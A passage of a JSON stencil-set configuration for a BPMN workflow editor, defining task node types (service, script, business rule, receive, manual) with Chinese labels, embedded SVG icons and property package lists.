\"formreferencepackage\", \"duedatedefinitionpackage\", \"prioritydefinitionpackage\", \"formpropertiespackage\", \"tasklistenerspackage\", \"skipexpressionpackage\",\"nodetypepackage\",\"editdatapackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ServiceTask\",\n    \"title\" : \"\\u670d\\u52a1\\u4efb\\u52a1\",\n    \"description\" : \"\\u4e1a\\u52a1\\u903b\\u8f91\\u81ea\\u52a8\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"serviceTask\\\" transform=\\\"translate(3,3)\\\">\\n\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n     d=\\\"M 8,1 7.5,2.875 c 0,0 -0.02438,0.250763 -0.40625,0.4375 C 7.05724,3.330353 7.04387,3.358818 7,3.375 6.6676654,3.4929791 6.3336971,3.6092802 6.03125,3.78125 6.02349,3.78566 6.007733,3.77681 6,3.78125 5.8811373,3.761018 5.8125,3.71875 5.8125,3.71875 l -1.6875,-1 -1.40625,1.4375 0.96875,1.65625 c 0,0 0.065705,0.068637 0.09375,0.1875 0.002,0.00849 -0.00169,0.022138 0,0.03125 C 3.6092802,6.3336971 3.4929791,6.6676654 3.375,7 3.3629836,7.0338489 3.3239228,7.0596246 3.3125,7.09375 3.125763,7.4756184 2.875,7.5 2.875,7.5 L 1,8 l 0,2 1.875,0.5 c 0,0 0.250763,0.02438 0.4375,0.40625 0.017853,0.03651 0.046318,0.04988 0.0625,0.09375 0.1129372,0.318132 0.2124732,0.646641 0.375,0.9375 -0.00302,0.215512 -0.09375,0.34375 -0.09375,0.34375 L 2.6875,13.9375 4.09375,15.34375 5.78125,14.375 c 0,0 0.1229911,-0.09744 0.34375,-0.09375 0.2720511,0.147787 0.5795915,0.23888 0.875,0.34375 0.033849,0.01202 0.059625,0.05108 0.09375,0.0625 C 7.4756199,14.874237 7.5,15.125 7.5,15.125 L 8,17 l 2,0 0.5,-1.875 c 0,0 0.02438,-0.250763 0.40625,-0.4375 0.03651,-0.01785 0.04988,-0.04632 0.09375,-0.0625 0.332335,-0.117979 0.666303,-0.23428 0.96875,-0.40625 0.177303,0.0173 0.28125,0.09375 0.28125,0.09375 l 1.65625,0.96875 1.40625,-1.40625 -0.96875,-1.65625 c 0,0 -0.07645,-0.103947 -0.09375,-0.28125 0.162527,-0.290859 0.262063,-0.619368 0.375,-0.9375 0.01618,-0.04387 0.04465,-0.05724 0.0625,-0.09375 C 14.874237,10.52438 15.125,10.5 15.125,10.5 L 17,10 17,8 15.125,7.5 c 0,0 -0.250763,-0.024382 -0.4375,-0.40625 C 14.669647,7.0572406 14.641181,7.0438697 14.625,7 14.55912,6.8144282 14.520616,6.6141566 14.4375,6.4375 c -0.224363,-0.4866 0,-0.71875 0,-0.71875 L 15.40625,4.0625 14,2.625 l -1.65625,1 c 0,0 -0.253337,0.1695664 -0.71875,-0.03125 l -0.03125,0 C 11.405359,3.5035185 11.198648,3.4455201 11,3.375 10.95613,3.3588185 10.942759,3.3303534 10.90625,3.3125 10.524382,3.125763 10.5,2.875 10.5,2.875 L 10,1 8,1 z m 1,5 c 1.656854,0 3,1.3431458 3,3 0,1.656854 -1.343146,3 -3,3 C 7.3431458,12 6,10.656854 6,9 6,7.3431458 7.3431458,6 9,6 z\\\" />\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.service.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"servicetasktriggerablepackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"servicetaskclasspackage\", \"servicetaskexpressionpackage\", \"servicetaskdelegateexpressionpackage\", \"servicetaskfieldspackage\", \"servicetaskresultvariablepackage\", \"skipexpressionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ScriptTask\",\n    \"title\" : \"\\u811a\\u672c\\u4efb\\u52a1\",\n    \"description\" : \"\\u81ea\\u52a8\\u811a\\u672c\\u903b\\u8f91\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"scriptTask\\\" transform=\\\"translate(2,2)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\td=\\\"m 5,2 0,0.094 c 0.23706,0.064 0.53189,0.1645 0.8125,0.375 0.5582,0.4186 1.05109,1.228 1.15625,2.5312 l 8.03125,0 1,0 1,0 c 0,-3 -2,-3 -2,-3 l -10,0 z M 4,3 4,13 2,13 c 0,3 2,3 2,3 l 9,0 c 0,0 2,0 2,-3 L 15,6 6,6 6,5.5 C 6,4.1111 5.5595,3.529 5.1875,3.25 4.8155,2.971 4.5,3 4.5,3 L 4,3 z\\\"\\n     \\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n\\t\\t/>\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.script.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"scriptformatpackage\", \"scripttextpackage\", \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"BusinessRule\",\n    \"title\" : \"\\u4e1a\\u52a1\\u89c4\\u5219\\u4efb\\u52a1\",\n    \"description\" : \"\\u89c4\\u5219\\u903b\\u8f91\\u81ea\\u52a8\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n  \\t<defs>\\n\\t\\t<radialGradient id=\\\"background\\\" cx=\\\"10%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"10%\\\" fy=\\\"10%\\\">\\n\\t\\t\\t<stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/>\\n\\t\\t\\t<stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffcc\\\" stop-opacity=\\\"1\\\"/>\\n\\t\\t</radialGradient>\\n\\t</defs>\\n\\t\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"businessRuleTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\" \\n\\t\\t\\t d=\\\"m 1,2 0,14 16,0 0,-14 z m 1.45458,5.6000386 2.90906,0 0,2.7999224 -2.90906,0 z m 4.36364,0 8.72718,0 0,2.7999224 -8.72718,0 z m -4.36364,4.1998844 2.90906,0 0,2.800116 -2.90906,0 z m 4.36364,0 8.72718,0 0,2.800116 -8.72718,0 z\\\"\\n     \\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n\\t\\t/>\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.business.rule.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"ruletask_rulespackage\", \"ruletask_variables_inputpackage\", \"ruletask_excludepackage\", \"ruletask_resultpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ReceiveTask\",\n    \"title\" : \"\\u63a5\\u6536\\u4efb\\u52a1\",\n    \"description\" : \"\\u8be5\\u4efb\\u52a1\\u7b49\\u5f85\\u63a5\\u6536\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"receiveTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\t<path oryx:anchors=\\\"left top\\\" \\n\\t\\t\\t style=\\\"fill:#16964d;stroke:none;\\\"\\n     \\t\\t d=\\\"m 0.5,2.5 0,13 17,0 0,-13 z M 2,4 6.5,8.5 2,13 z M 4,4 14,4 9,9 z m 12,0 0,9 -4.5,-4.5 z M 7.5,9.5 9,11 10.5,9.5 15,14 3,14 z\\\"\\n\\t\\t />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.receive.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"sequence_start\", \"sequence_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"ManualTask\",\n    \"title\" : \"\\u624b\\u52a8\\u4efb\\u52a1\",\n    \"description\" : \"\\u6ca1\\u6709\\u903b\\u8f91\\u7684\\u81ea\\u52a8\\u4efb\\u52a1\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet 